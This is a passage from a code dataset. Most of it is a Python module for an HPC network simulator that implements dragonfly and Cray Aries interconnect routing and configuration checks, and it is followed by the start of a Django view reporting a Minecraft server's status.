self.dragonfly.num_inter_links_per_switch\n # step 1: route within destination group\n if cur_gid == dest_gid:\n port = self.route_inside_grp_min(cur_sid, dest_sid)\n return 'l%d'%port \n else:\n if cur_gid > dest_gid:\n grp_output = dest_gid\n else:\n grp_output = dest_gid-1\n grp_rid = (grp_output/k)\n if grp_rid == cur_sid:\n # step 2: route between groups (i.e., optical links)\n port = grp_output%k\n if self.dragonfly.inter_group_topology is 'consecutive_aries':\n # select \"randomly\" among multiple ports to reach desired destination (Aries property)\n m = self.dragonfly.num_inter_links_grouped\n port_range = [port*m, port*m+m-1]\n port_rand = self.find_port_aries(port_range)\n port = port_rand\n return 'g%d'%port\n else:\n # step 3: route within source group\n port = self.route_inside_grp_min(cur_sid, grp_rid)\n return 'l%d'%port \n #raise Exception(\"No port could be found during MIN routing for Aries\")\n \n def route_inside_grp_non_min(self, src_sid, int_sid, dest_sid, first_time):\n \"\"\"Returns interface for non_minimal (VAL) routing inside a grp (cascade connection).\"\"\"\n \n # Local vairables \n # src_sid: source switch id, dest_sid: destination switch,int_sid: intermediate switch id.\n # first_time: denotes whether this is the first time packet is inside source switch of \n # source/intermediate/dest grp. This info is used to avoid intermediate switch\n # resending to the source switch. \n n_b = self.dragonfly.num_blades_per_chassis \n l_b = self.dragonfly.num_intra_links_for_blades # num_of_links for diff blades among a chassis\n src_sid_rel = src_sid%n_b # src relative switch id within the subgroup\n src_sgid = src_sid/n_b # src subgrp no. where the switch is located\n int_sid_rel = int_sid%n_b # intermediate relative switch id within the subgroup\n int_sgid = int_sid/n_b # intermediate subgrp no. where the int switch is located\n cur_sid_rel = self.swid%n_b # current relative switch id within the subgroup\n cur_sgid = self.swid/n_b # current subgrp no. where the int switch is located\n dest_sid_rel = dest_sid%n_b # dest relative switch id within the subgroup\n dest_sgid = dest_sid/n_b # dest subgrp no. where the switch is located\n m = self.dragonfly.num_intra_links_grouped\n\n # case#1: current switch id is the source switch id;\n # then route to the intermediate rotuer\n if self.swid == src_sid and first_time == True:\n # first, check if the switches are in the same column \n # (i.e., directly reachable through chassis connection/vertical connection)\n if src_sid%n_b == int_sid%n_b:\n # step 1a. route among different chassis.\n # equivalent to routing \"globally\" among chassis\n if src_sgid > int_sgid:\n subgrp_output = int_sgid\n else:\n subgrp_output = int_sgid-1\n port = subgrp_output + l_b\n # select a random port from \"bundled\" intra-links:\n port_range = [l_b+(port-l_b)*m, l_b+(port-l_b)*m+m-1]\n port_rand = self.find_port_aries(port_range)\n port = port_rand\n return port \n # next, check if the switches are in the same row\n # (i.e., directly reachable through blade connection/horizontal connection)\n elif src_sid/n_b == int_sid/n_b:\n # step 1b. route among blades.\n # equivalent to routing \"locally\" among blades in a chassis \n if src_sid_rel < int_sid_rel:\n port = int_sid_rel%n_b-1\n else:\n port = int_sid_rel%n_b\n return port \n else:\n # step 1c. go to router \"M\" to reach intermediate router.\n int_sid_temp = src_sgid*n_b+int_sid_rel # switch id at intersection of source and dest switch \n int_sid_temp_rel = int_sid_temp%n_b # dest relative switch id within the subgroup\n if src_sid < int_sid_temp: \n port = int_sid_temp_rel%n_b-1\n else:\n port = int_sid_temp_rel%n_b\n return port \n # case#2: current switch id is the intermediate switch id;\n # then route to the destination router\n elif self.swid == int_sid:\n # first, check if the switches are in the same column \n # (i.e., directly reachable through chassis connection/vertical connection)\n if int_sid%n_b == dest_sid%n_b:\n # step 1a. route among different chassis.\n # equivalent to routing \"globally\" among chassis\n if int_sgid > dest_sgid:\n subgrp_output = dest_sgid\n else:\n subgrp_output = dest_sgid-1\n port = subgrp_output + l_b \n # select a random port from \"bundled\" intra-links:\n port_range = [l_b+(port-l_b)*m, l_b+(port-l_b)*m+m-1]\n port_rand = self.find_port_aries(port_range)\n port = port_rand\n return port \n # next, check if the switches are in the same row\n # (i.e., directly reachable through blade connection/horizontal connection)\n elif int_sid/n_b == dest_sid/n_b:\n # step 1b. route among blades.\n # equivalent to routing \"locally\" among blades in a chassis \n if int_sid_rel < dest_sid_rel:\n port = dest_sid_rel%n_b-1\n else:\n port = dest_sid_rel%n_b\n return port \n else:\n # step 1c. go to router \"M\" to reach destination router.\n dest_sid_temp = int_sgid*n_b+dest_sid_rel # switch id at intersection of source and dest switch \n dest_sid_temp_rel = dest_sid_temp%n_b # dest relative switch id within the subgroup\n if int_sid < dest_sid_temp: \n port = dest_sid_temp_rel%n_b-1\n else:\n port = dest_sid_temp_rel%n_b\n return port \n # case#3: current switch id is neither source switch id \n # nor intermediate switch id\n else:\n # current switch is \"M1\"; i.e., \"M1\" and \"intermediate\" in same column,\n # \"M1\" and \"source\" in same row\n if self.swid%n_b == int_sid%n_b and self.swid/n_b == src_sid/n_b:\n # route vertically to the intermediate switch\n if cur_sgid > int_sgid:\n subgrp_output = int_sgid\n else:\n subgrp_output = int_sgid-1\n port = subgrp_output + l_b \n # select a random port from \"bundled\" intra-links:\n port_range = [l_b+(port-l_b)*m, l_b+(port-l_b)*m+m-1]\n port_rand = self.find_port_aries(port_range)\n port = port_rand\n return port \n # current switch is \"M2\"; i.e., \"M2\" and \"destination\" in same column,\n # \"M2\" and \"source\" in same row\n if self.swid%n_b == dest_sid%n_b and self.swid/n_b == int_sid/n_b:\n # route vertically to the intermediate switch\n if cur_sgid > dest_sgid:\n subgrp_output = dest_sgid\n else:\n subgrp_output = dest_sgid-1\n port = subgrp_output + l_b \n # select a random port from \"bundled\" intra-links:\n port_range = [l_b+(port-l_b)*m, l_b+(port-l_b)*m+m-1]\n port_rand = self.find_port_aries(port_range)\n port = port_rand\n return port\n #raise Exception(\"No port could be found during VAL routing inside grp for Aries\")\n\n def non_min_forward_cascade(self, src_gid, src_sid, int_gid, int_sid, dest_gid, dest_sid, first_time):\n \"\"\"Returns interface for non_minimal (VAL) routing (cascade connection). \n Also, returns next source switch id for both intermediate and destination grp.\"\"\"\n # The routing algorithm is at: \"Cray XC30 System: Overview\" by Nathan Wichmann (slide 20).\n # NOTE: src_sid is different for the followings: source grp, intermediate grp, dest grp \n \n # Local variable\n # src_gid: source group id, src_sid: source switch id \n # dest_gid: destination group id, dest_sid: destination switch id\n # int_gid: intermediate group id, int_sid: int switch id\n # first_time: the variable described in \"route_inside_grp_non_min\" method\n k = self.dragonfly.num_inter_links_per_switch\n m = self.dragonfly.num_inter_links_grouped\n # step 1: route within destination group\n if self.gid == dest_gid: \n port = self.route_inside_grp_non_min(src_sid, int_sid, dest_sid, first_time)\n return 'l%d'%port, None\n # steps 2 & 3: the packet is at the intermediate group\n elif self.gid == int_gid:\n if self.gid > dest_gid:\n grp_output = dest_gid\n else:\n grp_output = dest_gid-1\n grp_rid = grp_output/k \n if grp_rid == self.swid: # using global connection\n # step 2: route among different groups\n port = grp_output%k\n dest = self.connect_inter_link(self.gid, self.swid, port) # new src info for dest grp \n if self.dragonfly.inter_group_topology is 'consecutive_aries':\n # select \"randomly\" among multiple ports to reach desired destination\n port_range = [port*m, port*m+m-1]\n port_rand = self.find_port_aries(port_range)\n dest = self.connect_inter_link(self.gid, self.swid, port, True, port_rand-port*m)\n port = port_rand\n return 'g%d'%port, dest[\"s_id\"]\n else:\n # step 3: route within intermediate group\n port = self.route_inside_grp_non_min(src_sid, int_sid, grp_rid, first_time)\n return 'l%d'%port, None\n # steps 4 & 5: the packet is at the source group\n else:\n if self.gid > int_gid:\n grp_output = int_gid\n else:\n grp_output = int_gid-1\n grp_rid = grp_output/k \n if grp_rid == self.swid: # using global connection\n # step 4: route among different groups\n port = grp_output%k\n # select \"randomly\" among multiple ports to reach desired destination (Aries property)\n port_range = [port*m, port*m+m-1]\n port_rand = self.find_port_aries(port_range)\n dest = self.connect_inter_link(self.gid, self.swid, port, True, port_rand-port*m)\n return 'g%d'%port_rand, dest[\"s_id\"]\n else:\n # step 5: route within source group\n port = self.route_inside_grp_non_min(src_sid, int_sid, grp_rid, first_time)\n return 'l%d'%port, None\n #raise Exception(\"No port could be found during VAL routing for Aries\")\n \n def calc_route(self, pkt): \n \"\"\"Returns interface name and port number\"\"\"\n \n h = self.dragonfly.num_hosts_per_group\n k = self.dragonfly.num_hosts_per_switch\n intra_grp_topo = self.dragonfly.intra_group_topology\n route_method = self.dragonfly.route_method\n # find destination group and switch id from packet destination info\n dest_gid = int(pkt.dsthost/h)\n dest_sid = (pkt.dsthost%h)/k\n # find source group and switch id from packet source info\n src_gid = int(pkt.srchost/h)\n src_sid = (pkt.srchost%h)/k\n \n if route_method is \"minimal\" and intra_grp_topo is \"all_to_all\":\n if self.gid == dest_gid and self.swid == dest_sid:# packet reached dest switch\n port = self.dragonfly.hid_to_port(pkt.dsthost)\n return \"h\", port \n else: \n md = self.min_forward(self.gid, self.swid, dest_gid, dest_sid) \n m = self.interfaces[md].get_num_ports()\n port = random.randint(0, m-1)\n return md, port\n elif route_method is \"non_minimal\" and intra_grp_topo is 'all_to_all': \n if pkt.type[:4] == 'data' and \"int_gid\" not in pkt.nonreturn_data:# insert int grp id\n group_ids = list(range(0, self.dragonfly.num_groups))\n group_ids.remove(src_gid)\n if dest_gid in group_ids: group_ids.remove(dest_gid)\n pkt.nonreturn_data[\"int_gid\"] = random.choice(group_ids)\n if self.gid == dest_gid and self.swid == dest_sid:# packet reached dest switch\n port = self.dragonfly.hid_to_port(pkt.dsthost)\n return \"h\", port \n else: \n if pkt.type[:4] == 'data':\n int_gid = pkt.nonreturn_data[\"int_gid\"]\n md = self.non_min_forward(self.gid, self.swid, int_gid, dest_gid, dest_sid) \n m = self.interfaces[md].get_num_ports()\n port = random.randint(0, m-1) \n return md, port\n else: # ACK\n md = self.min_forward(self.gid, self.swid, dest_gid, dest_sid) \n m = self.interfaces[md].get_num_ports()\n port = random.randint(0, m-1)\n return md, port\n elif route_method is \"minimal\" and intra_grp_topo == \"cascade\":\n if self.gid == dest_gid and self.swid == dest_sid:# packet reached dest switch\n port = self.dragonfly.hid_to_port(pkt.dsthost)\n #TODO: change it later (\"debug_options\")\n if pkt.type[:4] == 'data':\n if \"calculate_hops\" in self.hpcsim_dict[\"debug_options\"]:\n pass\n #print(\"#hops: %d\"%pkt.nonreturn_data[\"num_hops\"]) \n return \"h\", port \n else: \n md = self.min_forward_cascade(dest_gid, dest_sid) \n m = self.interfaces[md].get_num_ports()\n port = random.randint(0, m-1) \n return md, port\n elif route_method is \"non_minimal\" and intra_grp_topo == 'cascade': \n ### insert intermediate grp id\n if pkt.type[:4] == 'data' and \"int_gid\" not in pkt.nonreturn_data:\n grp_ids = list(range(0, self.dragonfly.num_groups))\n grp_ids.remove(src_gid)\n if dest_gid in grp_ids: grp_ids.remove(dest_gid)\n if not grp_ids:\n raise Exception(\"# of groups insufficient to choose a random intermediate grp.\")\n pkt.nonreturn_data[\"int_gid\"] = random.choice(grp_ids) \n \n ### find the intermediate switch id for source group\n if pkt.type[:4] == 'data' and self.gid == src_gid and \\\n \"sid_src_grp\" not in pkt.nonreturn_data:\n switch_ids = list(range(0, self.dragonfly.num_switches_per_group))\n switch_ids.remove(src_sid) \n pkt.nonreturn_data[\"sid_src_grp\"] = random.choice(switch_ids)\n \n ### find the intermediate switch id for intermediate group\n if pkt.type[:4] == 'data' and self.gid == pkt.nonreturn_data[\"int_gid\"] and \\\n \"sid_int_grp\" not in pkt.nonreturn_data:\n switch_ids = list(range(0, self.dragonfly.num_switches_per_group))\n switch_ids.remove(self.swid) # removing the source switch inside intermediate grp\n pkt.nonreturn_data[\"sid_int_grp\"] = random.choice(switch_ids)\n \n ### find the intermediate switch id for destination group\n if pkt.type[:4] == 'data' and self.gid == dest_gid and \\\n \"sid_dest_grp\" not in pkt.nonreturn_data:\n switch_ids = list(range(0, self.dragonfly.num_switches_per_group))\n switch_ids.remove(self.swid) # removing the source switch inside destination grp\n pkt.nonreturn_data[\"sid_dest_grp\"] = random.choice(switch_ids)\n \n if self.gid == dest_gid and self.swid == dest_sid:# packet reached dest switch\n port = self.dragonfly.hid_to_port(pkt.dsthost)\n return \"h\", port \n else: \n if pkt.type[:4] == 'data':\n int_gid = pkt.nonreturn_data[\"int_gid\"]\n # Find out whether this is the first time a packet is inside the \n # src/intermediate/dest grp. If yes, use that information (i.e., \n # value of first_time) to avoid intermediate switch resending the \n # packet to the source switch.\n first_time = False\n if self.gid == src_gid and \\\n \"inside_src_grp\" not in pkt.nonreturn_data: # first_time_in_src_grp\n pkt.nonreturn_data[\"inside_src_grp\"] = 1\n elif self.gid == int_gid and \\\n \"inside_int_grp\" not in pkt.nonreturn_data: # first_time_in_int_grp\n pkt.nonreturn_data[\"inside_int_grp\"] = 1\n elif self.gid == dest_gid and \\\n \"inside_dest_grp\" not in pkt.nonreturn_data: # first_time_in_dest_grp \n pkt.nonreturn_data[\"inside_dest_grp\"] = 1\n \n if \"inside_src_grp\" in pkt.nonreturn_data and \\\n pkt.nonreturn_data[\"inside_src_grp\"] == 1:\n first_time = True\n pkt.nonreturn_data[\"inside_src_grp\"] = 0\n elif \"inside_int_grp\" in pkt.nonreturn_data and \\\n pkt.nonreturn_data[\"inside_int_grp\"] == 1:\n first_time = True\n pkt.nonreturn_data[\"inside_int_grp\"] = 0\n elif \"inside_dest_grp\" in pkt.nonreturn_data and \\\n pkt.nonreturn_data[\"inside_dest_grp\"] == 1:\n first_time = True\n pkt.nonreturn_data[\"inside_dest_grp\"] = 0\n \n #random switch for each of the group (source, intermediate and destination)\n if self.gid == src_gid:\n int_sid = pkt.nonreturn_data[\"sid_src_grp\"]\n elif self.gid == dest_gid:\n int_sid = pkt.nonreturn_data[\"sid_dest_grp\"]\n elif self.gid == int_gid:\n int_sid = pkt.nonreturn_data[\"sid_int_grp\"]\n else:\n raise Exception(\"The packet can't be outside src, dest or intermediate grp.\")\n \n # \"src_sid\" denotes the source switch for both intermediate and dest grp.\n if \"src_sid\" not in pkt.nonreturn_data: \n md, new_src_sid = self.non_min_forward_cascade(src_gid, src_sid, \n int_gid, int_sid, dest_gid, dest_sid, first_time) \n else:\n src_sid = pkt.nonreturn_data[\"src_sid\"]\n md, new_src_sid = self.non_min_forward_cascade(src_gid, src_sid, \n int_gid, int_sid, dest_gid, dest_sid, first_time)\n if new_src_sid != None: \n pkt.nonreturn_data[\"src_sid\"] = new_src_sid\n \n m = self.interfaces[md].get_num_ports()\n port = random.randint(0, m-1)\n return md, port\n else: # ACK\n md = self.min_forward_cascade(dest_gid, dest_sid)\n m = self.interfaces[md].get_num_ports()\n port = random.randint(0, m-1)\n return md, port\n else:\n raise Exception(\"route method %s has not been implemented yet\" % self.dragonfly.route_method)\n\nclass Dragonfly(Interconnect):\n \"\"\"A generic dragonfly network.\"\"\"\n\n def __init__(self, hpcsim, hpcsim_dict):\n super(Dragonfly, self).__init__(hpcsim_dict)\n\n if \"dragonfly\" not in hpcsim_dict:\n raise Exception(\"'dragonfly' must be specified for dragonfly interconnect\")\n \n if \"num_groups\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'num_groups' must be specified for dragonfly config\") \n self.num_groups = hpcsim_dict[\"dragonfly\"][\"num_groups\"]\n \n if \"num_switches_per_group\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'num_switches_per_group' must be specified for dragonfly config\") \n self.num_switches_per_group = hpcsim_dict[\"dragonfly\"][\"num_switches_per_group\"]\n \n if \"num_hosts_per_switch\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'num_hosts_per_switch' must be specified for dragonfly config\") \n self.num_hosts_per_switch = hpcsim_dict[\"dragonfly\"][\"num_hosts_per_switch\"]\n \n if \"num_ports_per_host\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'num_ports_per_host' must be specified for dragonfly config\") \n self.num_ports_per_host = hpcsim_dict[\"dragonfly\"][\"num_ports_per_host\"]\n \n if \"num_inter_links_per_switch\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'num_inter_links_per_switch' must be specified for dragonfly config\") \n self.num_inter_links_per_switch = hpcsim_dict[\"dragonfly\"][\"num_inter_links_per_switch\"]\n \n if self.num_switches_per_group*self.num_inter_links_per_switch < self.num_groups - 1:\n raise Exception(\"not sufficient inter-links to support all group connections\")\n \n if \"inter_link_dups\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'inter_link_dups' must be specified for dragonfly config\") \n self.inter_link_dups = hpcsim_dict[\"dragonfly\"][\"inter_link_dups\"]\n \n if \"inter_group_topology\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'inter_group_topology' must be specified for dragonfly config\") \n self.inter_group_topology = hpcsim_dict[\"dragonfly\"][\"inter_group_topology\"]\n \n #NOTE: consecutive_aries is specific to aries interconnect (where links are bundled together)\n if self.inter_group_topology is \"consecutive_aries\":\n if \"num_inter_links_grouped\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'num_inter_links_grouped' must be specified for Aries config\") \n self.num_inter_links_grouped = hpcsim_dict[\"dragonfly\"][\"num_inter_links_grouped\"]\n self.num_inter_links_per_switch /= self.num_inter_links_grouped # number of \"bundled\" inter-links\n \n if \"intra_group_topology\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'intra_group_topology' must be specified for dragonfly config\") \n self.intra_group_topology = hpcsim_dict[\"dragonfly\"][\"intra_group_topology\"]\n \n if self.intra_group_topology is \"all_to_all\":\n #print(\"I'm here: %s\"%self.intra_group_topology)\n if \"num_intra_links_per_switch\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'num_intra_links_per_switch' must be specified for dragonfly config\") \n self.num_intra_links_per_switch = hpcsim_dict[\"dragonfly\"][\"num_intra_links_per_switch\"]\n \n if \"intra_link_dups\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'intra_link_dups' must be specified for dragonfly config\") \n self.intra_link_dups = hpcsim_dict[\"dragonfly\"][\"intra_link_dups\"]\n \n self.intra_group_bdw = hpcsim_dict[\"dragonfly\"].get(\"intra_group_bdw\", \\\n hpcsim_dict[\"default_configs\"][\"intercon_bandwidth\"])\n \n self.intra_group_delay = hpcsim_dict[\"dragonfly\"].get(\"intra_group_delay\", \\\n hpcsim_dict[\"default_configs\"][\"intercon_link_delay\"])\n \n if self.intra_group_topology is \"cascade\":\n if \"num_chassis_per_group\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'num_chassis_per_group' must be specified for dragonfly/cascade config\") \n self.num_chassis_per_group = hpcsim_dict[\"dragonfly\"][\"num_chassis_per_group\"]\n \n if \"inter_chassis_dups\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'inter_chassis_dups' must be specified for dragonfly/cascade config\") \n self.inter_chassis_dups = hpcsim_dict[\"dragonfly\"][\"inter_chassis_dups\"]\n \n if \"intra_chassis_dups\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'intra_chassis_dups' must be specified for dragonfly/cascade config\") \n self.intra_chassis_dups = hpcsim_dict[\"dragonfly\"][\"intra_chassis_dups\"]\n \n if \"intra_chassis_bdw\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'intra_chassis_bdw' must be specified for dragonfly/cascade config\") \n self.intra_chassis_bdw = hpcsim_dict[\"dragonfly\"][\"intra_chassis_bdw\"]\n \n if \"inter_chassis_bdw\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'inter_chassis_bdw' must be specified for dragonfly/cascade config\") \n self.inter_chassis_bdw = hpcsim_dict[\"dragonfly\"][\"inter_chassis_bdw\"]\n \n if \"intra_chassis_delay\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'intra_chassis_delay' must be specified for dragonfly/cascade config\") \n self.intra_chassis_delay = hpcsim_dict[\"dragonfly\"][\"intra_chassis_delay\"]\n \n if \"inter_chassis_delay\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'inter_chassis_delay' must be specified for dragonfly/cascade config\") \n self.inter_chassis_delay = hpcsim_dict[\"dragonfly\"][\"inter_chassis_delay\"]\n \n if \"num_chassis_per_group\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'num_chassis_per_group' must be specified for dragonfly/cascade config\") \n self.num_chassis_per_group = hpcsim_dict[\"dragonfly\"][\"num_chassis_per_group\"]\n \n if \"num_blades_per_chassis\" not in hpcsim_dict[\"dragonfly\"]:\n raise Exception(\"'num_blades_per_chassis' must be specified for dragonfly/cascade config\") \n self.num_blades_per_chassis = hpcsim_dict[\"dragonfly\"][\"num_blades_per_chassis\"]\n \n if \"num_intra_links_grouped\" not in hpcsim_dict[\"dragonfly\"]: # bundled links among chassis\n raise Exception(\"'num_intra_links_grouped' must be specified for dragonfly/cascade config\") \n self.num_intra_links_grouped = hpcsim_dict[\"dragonfly\"][\"num_intra_links_grouped\"]\n \n if self.num_chassis_per_group*self.num_blades_per_chassis != self.num_switches_per_group:\n raise Exception(\"num of switches does not match number of chassis and blades\")\n \n self.num_intra_links_for_blades = self.num_blades_per_chassis-1\n # NOTE: each chassis intra link is bundle of \"self.num_intra_links_grouped\" number of links\n # i.e., total chassis intra links = self.num_intra_links_for_chassis*self.num_intra_links_grouped\n self.num_intra_links_for_chassis = self.num_chassis_per_group-1\n\n self.inter_group_bdw = hpcsim_dict[\"dragonfly\"].get(\"inter_group_bdw\", \\\n hpcsim_dict[\"default_configs\"][\"intercon_bandwidth\"])\n\n\n self.switch_host_bdw = hpcsim_dict[\"dragonfly\"].get(\"switch_host_bdw\", \\\n hpcsim_dict[\"default_configs\"][\"intercon_bandwidth\"])\n\n self.inter_group_delay = hpcsim_dict[\"dragonfly\"].get(\"inter_group_delay\", \\\n hpcsim_dict[\"default_configs\"][\"intercon_link_delay\"])\n\n\n self.switch_host_delay = hpcsim_dict[\"dragonfly\"].get(\"switch_host_delay\", \\\n hpcsim_dict[\"default_configs\"][\"intercon_link_delay\"])\n\n self.bufsz = hpcsim_dict[\"dragonfly\"].get(\"bufsz\", \\\n hpcsim_dict[\"default_configs\"][\"intercon_bufsz\"])\n\n self.proc_delay = hpcsim_dict[\"dragonfly\"].get(\"proc_delay\", \\\n hpcsim_dict[\"default_configs\"][\"intercon_proc_delay\"])\n \n self.route_method = hpcsim_dict[\"dragonfly\"].get(\"route_method\", \\\n hpcsim_dict[\"default_configs\"][\"dragonfly_route_method\"])\n\n # added for intra-node communication\n mem_bandwidth = hpcsim_dict[\"dragonfly\"].get(\"mem_bandwidth\", \\\n hpcsim_dict[\"default_configs\"][\"mem_bandwidth\"])\n mem_bufsz = hpcsim_dict[\"dragonfly\"].get(\"mem_bufsz\", \\\n hpcsim_dict[\"default_configs\"][\"mem_bufsz\"])\n mem_delay = hpcsim_dict[\"dragonfly\"].get(\"mem_delay\", \\\n hpcsim_dict[\"default_configs\"][\"mem_delay\"])\n\n if \"hpcsim\" in hpcsim_dict[\"debug_options\"] or \\\n \"intercon\" in hpcsim_dict[\"debug_options\"] or \\\n \"dragonfly\" in hpcsim_dict[\"debug_options\"]:\n print(\"dragonfly: num_groups=%d\" % self.num_groups)\n print(\"dragonfly: num_switches_per_group=%d\" % self.num_switches_per_group)\n print(\"dragonfly: num_hosts_per_switch=%d\" % self.num_hosts_per_switch)\n print(\"dragonfly: num_ports_per_host=%d\" % self.num_ports_per_host)\n print(\"dragonfly: num_inter_links_per_switch=%d\" % self.num_inter_links_per_switch)\n print(\"dragonfly: inter_link_dups=%d\" % self.inter_link_dups)\n print(\"dragonfly: inter_group_toplogy=%s\" % self.inter_group_topology)\n print(\"dragonfly: intra_group_toplogy=%s\" % self.intra_group_topology)\n if self.intra_group_topology is \"all_to_all\":\n print(\"dragonfly: num_intra_links_per_switch=%d\" % self.num_intra_links_per_switch)\n print(\"dragonfly: intra_link_dups=%d\" % self.intra_link_dups)\n print(\"dragonfly: intra_group_bdw=%f (bits per second)\" % self.intra_group_bdw)\n print(\"dragonfly: intra_group_delay=%f (seconds)\" % self.intra_group_delay)\n if self.intra_group_topology is \"cascade\":\n print(\"dragonfly: num_chassis_per_group=%d\" % self.num_chassis_per_group)\n print(\"dragonfly: num_blades_per_chassis=%d\" % self.num_blades_per_chassis)\n print(\"dragonfly: num_intra_links_for_blades=%d\" % self.num_intra_links_for_blades)\n print(\"dragonfly: num_intra_links_for_chassis=%d\" % self.num_intra_links_for_chassis)\n print(\"dragonfly: num_intra_links_grouped=%d\" % self.num_intra_links_grouped)\n print(\"dragonfly: inter_chassis_dups=%d\" % self.inter_chassis_dups) # among chassis\n print(\"dragonfly: intra_chassis_dups=%d\" % self.intra_chassis_dups) # among blades\n print(\"dragonfly: inter_chassis_bdw=%d\" % self.inter_chassis_bdw)\n print(\"dragonfly: intra_chassis_bdw=%d\" % self.intra_chassis_bdw)\n print(\"dragonfly: inter_chassis_delay=%d\" % self.inter_chassis_delay)\n print(\"dragonfly: intra_chassis_delay=%d\" % self.intra_chassis_delay)\n print(\"dragonfly: inter_group_bdw=%f (bits per second)\" % self.inter_group_bdw)\n print(\"dragonfly: inter_group_delay=%f (seconds)\" % self.inter_group_delay)\n print(\"dragonfly: switch_host_bdw=%f (bits per second)\" % self.switch_host_bdw)\n print(\"dragonfly: switch_host_delay=%f (seconds)\" % self.switch_host_delay)\n print(\"dragonfly: proc_delay=%f (seconds)\" % self.proc_delay)\n print(\"dragonfly: mem_bandwidth=%f (bits per second)\" % mem_bandwidth)\n print(\"dragonfly: mem_bufsz =%d (bytes)\" % mem_bufsz)\n print(\"dragonfly: mem_delay=%f (seconds)\" % mem_delay)\n print(\"dragonfly: route_method=%s\" % self.route_method)\n \n # compute the total number of switches and hosts\n self.nswitches = self.num_groups*self.num_switches_per_group\n self.nhosts = self.nswitches*self.num_hosts_per_switch\n self.num_hosts_per_group = self.num_hosts_per_switch*self.num_switches_per_group\n \n # add switches and hosts as entities\n simian = hpcsim_dict[\"simian\"]\n swid = hid = 0\n for g in xrange(self.num_groups):\n for a in xrange(self.num_switches_per_group):\n # each switch is identified by a group id and switch id pair\n simian.addEntity(\"Switch\", DragonflySwitch, swid, hpcsim_dict, self, g, a)\n # add host as entities \n for h in xrange(self.num_hosts_per_switch):\n p = self.hid_to_port(h)\n simian.addEntity(\"Host\", hpcsim.get_host_typename(hpcsim_dict), hid,\n hpcsim_dict, self, swid, 'h', \n p, self.switch_host_bdw, self.bufsz,\n self.switch_host_delay,\n mem_bandwidth, mem_bufsz, mem_delay)\n hid += 1\n swid += 1\n \n def network_diameter(self):\n \"\"\"Returns the network diameter in hops.\"\"\"\n \n if self.intra_group_topology == \"cascade\":\n # max four hops within each group(4X3), max three groups traversed (2),\n # plus 2 hops to hosts\n return 16\n elif self.intra_group_topology == \"all_to_all\":\n # max one hop within each group(3), max three groups traversed(2), \n # plus 2 hops to hosts\n return 7\n\n def network_diameter_time(self):\n \"\"\"Returns the network diameter in time.\"\"\"\n \n d = self.network_diameter()\n if self.intra_group_topology == \"cascade\":\n return 2*self.switch_host_delay+(d-2)*self.inter_chassis_delay+ \\\n (d-2)*self.intra_chassis_delay+2*self.inter_group_delay\n elif self.intra_group_topology == \"all_to_all\":\n return 2*self.switch_host_delay+(d-4)*self.intra_group_delay+ \\\n 2*self.inter_group_delay\n \n def hid_to_port(self, hid):\n \"\"\"Returns switch port (through which the host is connected).\"\"\"\n\n # Local variable\n # hid: host id \n if not (0 <= hid < self.nhosts):\n raise Exception(\"invalid host id=%d for dragonfly\"%(hid))\n p = hid%self.num_hosts_per_switch\n return p\n \n @staticmethod\n def calc_min_delay(hpcsim_dict):\n \"\"\"Calculates and returns the min delay value for config parameters.\"\"\"\n \n if \"dragonfly\" not in hpcsim_dict:\n raise Exception(\"'dragonfly' must be specified for dragonfly interconnect\")\n d1 = hpcsim_dict[\"dragonfly\"].get(\"inter_group_delay\", \\\n hpcsim_dict[\"default_configs\"][\"intercon_link_delay\"])\n d2 = hpcsim_dict[\"dragonfly\"].get(\"intra_group_delay\", \\\n hpcsim_dict[\"default_configs\"][\"intercon_link_delay\"])\n d3 = hpcsim_dict[\"dragonfly\"].get(\"switch_host_delay\", \\\n hpcsim_dict[\"default_configs\"][\"intercon_link_delay\"])\n min_d = min([d1, d2, d3])\n return min_d\n\nclass Aries(Dragonfly):\n \"\"\"cray's aries is a dragonfly.\"\"\"\n\n def __init__(self, hpcsim, hpcsim_dict):\n if \"dragonfly\" not in hpcsim_dict:\n raise Exception(\"'dragonfly' must be specified for aries interconnect\")\n\n super(Aries, self).__init__(hpcsim, hpcsim_dict)\n \n","repo_name":"summonersRift/ppt-sched","sub_path":"hardware/interconnect/dragonfly.py","file_name":"dragonfly.py","file_ext":"py","file_size_in_byte":60054,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"8880950970","text":"import json, time\n\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\n\nfrom mcstatus import MinecraftServer\n\nfrom common.misc_storage import MiscStorage\n\nCACHE_FOR = 5 # 5 seconds\n\n\ndef status(request):\n result = dict()\n\n ms_key = 'server_status.cache'\n cache_raw = MiscStorage.get(ms_key, False)\n if cache_raw:\n cache = json.loads(cache_raw)\n if 'timestamp' in cache and type(cache['timestamp']) is int and int(time.time()) - cache['timestamp'] <= CACHE_FOR:\n result = cache['data']\n result['cached'] = True\n return JsonResponse(result)\n\n srv = MinecraftServer('play.bbyaworld.com', 25565)\n\n try:\n status = srv.status()\n \n result['online'] = True\n result['status'] = 'success'\n\n # mcstatus actually returns None if there are no players on the server\n if not status.players.sample:\n status.players.sample = list()\n\n result['players'] = {\n 'online': status.players.online,\n 'max': status.players.max,\n 'list': [p.name for p in status.players.sample],\n }\n\n except Exception as e:\n result['online'] = False\n result['status'] = 'error'\n\n # pylint: disable=no-member\n\n if hasattr(e, 'strerror') and e.strerror:\n result['error'] = e.strerror\n elif hasattr(e, 'message') and 